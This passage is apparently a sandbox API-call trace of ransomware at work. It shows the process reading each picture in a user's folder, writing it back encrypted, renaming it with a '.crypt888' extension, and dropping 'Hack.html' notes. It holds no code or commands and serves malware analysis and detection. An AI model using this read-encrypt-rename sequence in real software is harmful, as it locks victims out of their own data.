GetFileType (hFile=0x174) returned 0x1 [0084.704] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0084.704] GetFileType (hFile=0x174) returned 0x1 [0084.704] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0x15938 [0084.704] ReadFile (in: hFile=0x174, lpBuffer=0x3726390, nNumberOfBytesToRead=0x15938, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x3726390*, lpNumberOfBytesRead=0x39ed24*=0x15938, lpOverlapped=0x0) returned 1 [0084.719] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq\\-r0XhU0DnyCxU9m2O8m.png", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq\\-r0XhU0DnyCxU9m2O8m.png", lpFilePart=0x0) returned 0x4f [0084.719] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0084.719] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq\\-r0XhU0DnyCxU9m2O8m.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s9vipim9si_081fq\\-r0xhu0dnycxu9m2o8m.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0084.720] GetFileType (hFile=0x174) returned 0x1 [0084.720] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0084.720] GetFileType (hFile=0x174) returned 0x1 [0084.721] WriteFile (in: hFile=0x174, lpBuffer=0x3792208*, nNumberOfBytesToWrite=0x15940, lpNumberOfBytesWritten=0x39ed14, lpOverlapped=0x0 | out: lpBuffer=0x3792208*, lpNumberOfBytesWritten=0x39ed14*=0x15940, lpOverlapped=0x0) returned 1 [0084.723] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq\\-r0XhU0DnyCxU9m2O8m.png", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq\\-r0XhU0DnyCxU9m2O8m.png", lpFilePart=0x0) returned 0x4f [0084.723] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq\\-r0XhU0DnyCxU9m2O8m.png.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq\\-r0XhU0DnyCxU9m2O8m.png.crypt888", lpFilePart=0x0) returned 0x58 [0084.723] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0084.723] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq\\-r0XhU0DnyCxU9m2O8m.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s9vipim9si_081fq\\-r0xhu0dnycxu9m2o8m.png"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafebc4b0, ftCreationTime.dwHighDateTime=0x1d45802, ftLastAccessTime.dwLowDateTime=0xb21f27f0, ftLastAccessTime.dwHighDateTime=0x1d46030, ftLastWriteTime.dwLowDateTime=0xc3b3b660, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x15940)) returned 1 [0084.723] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0084.723] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq\\-r0XhU0DnyCxU9m2O8m.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s9vipim9si_081fq\\-r0xhu0dnycxu9m2o8m.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq\\-r0XhU0DnyCxU9m2O8m.png.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s9vipim9si_081fq\\-r0xhu0dnycxu9m2o8m.png.crypt888")) returned 1 [0084.724] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq\\4oRi4W.jpg", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq\\4oRi4W.jpg", lpFilePart=0x0) returned 0x42 [0084.724] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0084.724] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq\\4oRi4W.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s9vipim9si_081fq\\4ori4w.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0084.724] GetFileType (hFile=0x174) returned 0x1 [0084.724] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0084.724] GetFileType (hFile=0x174) returned 0x1 [0084.724] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0x15782 [0084.724] ReadFile (in: hFile=0x174, lpBuffer=0x37a7b68, nNumberOfBytesToRead=0x15782, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x37a7b68*, lpNumberOfBytesRead=0x39ed24*=0x15782, lpOverlapped=0x0) returned 1 [0084.740] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq\\4oRi4W.jpg", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq\\4oRi4W.jpg", lpFilePart=0x0) returned 0x42 [0084.740] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0084.740] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq\\4oRi4W.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s9vipim9si_081fq\\4ori4w.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0084.742] GetFileType (hFile=0x174) returned 0x1 [0084.742] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0084.742] GetFileType (hFile=0x174) returned 0x1 [0084.742] WriteFile (in: hFile=0x174, lpBuffer=0x3813168*, nNumberOfBytesToWrite=0x15790, lpNumberOfBytesWritten=0x39ed14, lpOverlapped=0x0 | out: lpBuffer=0x3813168*, lpNumberOfBytesWritten=0x39ed14*=0x15790, lpOverlapped=0x0) returned 1 [0084.744] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq\\4oRi4W.jpg", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq\\4oRi4W.jpg", lpFilePart=0x0) returned 0x42 [0084.744] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq\\4oRi4W.jpg.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq\\4oRi4W.jpg.crypt888", lpFilePart=0x0) returned 0x4b [0084.744] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0084.744] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq\\4oRi4W.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s9vipim9si_081fq\\4ori4w.jpg"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7cd050, ftCreationTime.dwHighDateTime=0x1d46560, ftLastAccessTime.dwLowDateTime=0x5370f090, ftLastAccessTime.dwHighDateTime=0x1d45f2b, ftLastWriteTime.dwLowDateTime=0xc3b617c0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x15790)) returned 1 [0084.744] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0084.744] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq\\4oRi4W.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s9vipim9si_081fq\\4ori4w.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq\\4oRi4W.jpg.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s9vipim9si_081fq\\4ori4w.jpg.crypt888")) returned 1 [0084.745] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq\\9WkSR0mh1JGf.jpg", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq\\9WkSR0mh1JGf.jpg", lpFilePart=0x0) returned 0x48 [0084.745] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0084.745] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq\\9WkSR0mh1JGf.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s9vipim9si_081fq\\9wksr0mh1jgf.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0084.745] GetFileType (hFile=0x174) returned 0x1 [0084.745] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0084.745] GetFileType (hFile=0x174) returned 0x1 [0084.745] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0xb173 [0084.745] ReadFile (in: hFile=0x174, lpBuffer=0x2767048, nNumberOfBytesToRead=0xb173, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x2767048*, lpNumberOfBytesRead=0x39ed24*=0xb173, lpOverlapped=0x0) returned 1 [0084.760] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq\\9WkSR0mh1JGf.jpg", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq\\9WkSR0mh1JGf.jpg", lpFilePart=0x0) returned 0x48 [0084.760] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0084.760] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq\\9WkSR0mh1JGf.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s9vipim9si_081fq\\9wksr0mh1jgf.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0084.762] GetFileType (hFile=0x174) returned 0x1 [0084.762] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0084.762] GetFileType (hFile=0x174) returned 0x1 [0084.762] WriteFile (in: hFile=0x174, lpBuffer=0x27d52a4*, nNumberOfBytesToWrite=0xb180, lpNumberOfBytesWritten=0x39ed14, lpOverlapped=0x0 | out: lpBuffer=0x27d52a4*, lpNumberOfBytesWritten=0x39ed14*=0xb180, lpOverlapped=0x0) returned 1 [0084.763] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq\\9WkSR0mh1JGf.jpg", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq\\9WkSR0mh1JGf.jpg", lpFilePart=0x0) returned 0x48 [0084.763] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq\\9WkSR0mh1JGf.jpg.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq\\9WkSR0mh1JGf.jpg.crypt888", lpFilePart=0x0) returned 0x51 [0084.763] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0084.763] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq\\9WkSR0mh1JGf.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s9vipim9si_081fq\\9wksr0mh1jgf.jpg"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6312bc80, ftCreationTime.dwHighDateTime=0x1d45eb9, ftLastAccessTime.dwLowDateTime=0xbfece870, ftLastAccessTime.dwHighDateTime=0x1d464a6, ftLastWriteTime.dwLowDateTime=0xc3b87920, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xb180)) returned 1 [0084.763] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0084.763] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq\\9WkSR0mh1JGf.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s9vipim9si_081fq\\9wksr0mh1jgf.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq\\9WkSR0mh1JGf.jpg.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s9vipim9si_081fq\\9wksr0mh1jgf.jpg.crypt888")) returned 1 [0084.764] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq\\RObizgN.jpg", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq\\RObizgN.jpg", lpFilePart=0x0) returned 0x43 [0084.764] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0084.764] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq\\RObizgN.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s9vipim9si_081fq\\robizgn.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0084.764] GetFileType (hFile=0x174) returned 0x1 [0084.764] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0084.764] GetFileType (hFile=0x174) returned 0x1 [0084.764] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0x14d0a [0084.764] ReadFile (in: hFile=0x174, lpBuffer=0x383ec18, nNumberOfBytesToRead=0x14d0a, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x383ec18*, lpNumberOfBytesRead=0x39ed24*=0x14d0a, lpOverlapped=0x0) returned 1 [0084.780] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq\\RObizgN.jpg", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq\\RObizgN.jpg", lpFilePart=0x0) returned 0x43 [0084.780] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0084.780] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq\\RObizgN.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s9vipim9si_081fq\\robizgn.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0084.782] GetFileType (hFile=0x174) returned 0x1 [0084.782] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0084.782] GetFileType (hFile=0x174) returned 0x1 [0084.782] WriteFile (in: hFile=0x174, lpBuffer=0x38a6da0*, nNumberOfBytesToWrite=0x14d10, lpNumberOfBytesWritten=0x39ed14, lpOverlapped=0x0 | out: lpBuffer=0x38a6da0*, lpNumberOfBytesWritten=0x39ed14*=0x14d10, lpOverlapped=0x0) returned 1 [0084.784] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq\\RObizgN.jpg", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq\\RObizgN.jpg", lpFilePart=0x0) returned 0x43 [0084.784] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq\\RObizgN.jpg.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq\\RObizgN.jpg.crypt888", lpFilePart=0x0) returned 0x4c [0084.784] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0084.784] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq\\RObizgN.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s9vipim9si_081fq\\robizgn.jpg"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43f05800, ftCreationTime.dwHighDateTime=0x1d4635d, ftLastAccessTime.dwLowDateTime=0xe3056270, ftLastAccessTime.dwHighDateTime=0x1d459c4, ftLastWriteTime.dwLowDateTime=0xc3bada80, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x14d10)) returned 1 [0084.784] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0084.785] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq\\RObizgN.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s9vipim9si_081fq\\robizgn.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq\\RObizgN.jpg.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s9vipim9si_081fq\\robizgn.jpg.crypt888")) returned 1 [0084.786] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq\\xEro- f.png", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq\\xEro- f.png", lpFilePart=0x0) returned 0x43 [0084.786] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0084.786] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq\\xEro- f.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s9vipim9si_081fq\\xero- f.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0084.786] GetFileType (hFile=0x174) returned 0x1 [0084.786] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0084.786] GetFileType (hFile=0x174) returned 0x1 [0084.786] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0xf267 [0084.786] ReadFile (in: hFile=0x174, lpBuffer=0x282da88, nNumberOfBytesToRead=0xf267, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x282da88*, lpNumberOfBytesRead=0x39ed24*=0xf267, lpOverlapped=0x0) returned 1 [0084.808] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq\\xEro- f.png", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq\\xEro- f.png", lpFilePart=0x0) returned 0x43 [0084.808] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0084.808] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq\\xEro- f.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s9vipim9si_081fq\\xero- f.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0084.810] GetFileType (hFile=0x174) returned 0x1 [0084.810] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0084.810] GetFileType (hFile=0x174) returned 0x1 [0084.810] WriteFile (in: hFile=0x174, lpBuffer=0x28a7fb4*, nNumberOfBytesToWrite=0xf270, lpNumberOfBytesWritten=0x39ed14, lpOverlapped=0x0 | out: lpBuffer=0x28a7fb4*, lpNumberOfBytesWritten=0x39ed14*=0xf270, lpOverlapped=0x0) returned 1 [0084.812] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq\\xEro- f.png", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq\\xEro- f.png", lpFilePart=0x0) returned 0x43 [0084.812] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq\\xEro- f.png.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq\\xEro- f.png.crypt888", lpFilePart=0x0) returned 0x4c [0084.812] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0084.813] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq\\xEro- f.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s9vipim9si_081fq\\xero- f.png"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3d46530, ftCreationTime.dwHighDateTime=0x1d45ff9, ftLastAccessTime.dwLowDateTime=0xdf266bd0, ftLastAccessTime.dwHighDateTime=0x1d4638e, ftLastWriteTime.dwLowDateTime=0xc3bf9d40, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xf270)) returned 1 [0084.813] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0084.813] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq\\xEro- f.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s9vipim9si_081fq\\xero- f.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq\\xEro- f.png.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s9vipim9si_081fq\\xero- f.png.crypt888")) returned 1 [0084.817] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq\\Hack.html", lpFilePart=0x0) returned 0x41 [0084.817] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0084.817] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s9vipim9si_081fq\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0084.818] GetFileType (hFile=0x174) returned 0x1 [0084.818] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0084.818] GetFileType (hFile=0x174) returned 0x1 [0084.822] WriteFile (in: hFile=0x174, lpBuffer=0x26b21cc*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecfc, lpOverlapped=0x0 | out: lpBuffer=0x26b21cc*, lpNumberOfBytesWritten=0x39ecfc*=0xba, lpOverlapped=0x0) returned 1 [0084.823] CloseHandle (hObject=0x174) returned 1 [0084.823] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Hack.html", lpFilePart=0x0) returned 0x30 [0084.823] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0084.823] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0084.824] GetFileType (hFile=0x174) returned 0x1 [0084.824] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0084.824] GetFileType (hFile=0x174) returned 0x1 [0084.824] WriteFile (in: hFile=0x174, lpBuffer=0x26b4994*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x26b4994*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0084.825] CloseHandle (hObject=0x174) returned 1 [0084.825] SetThreadErrorMode 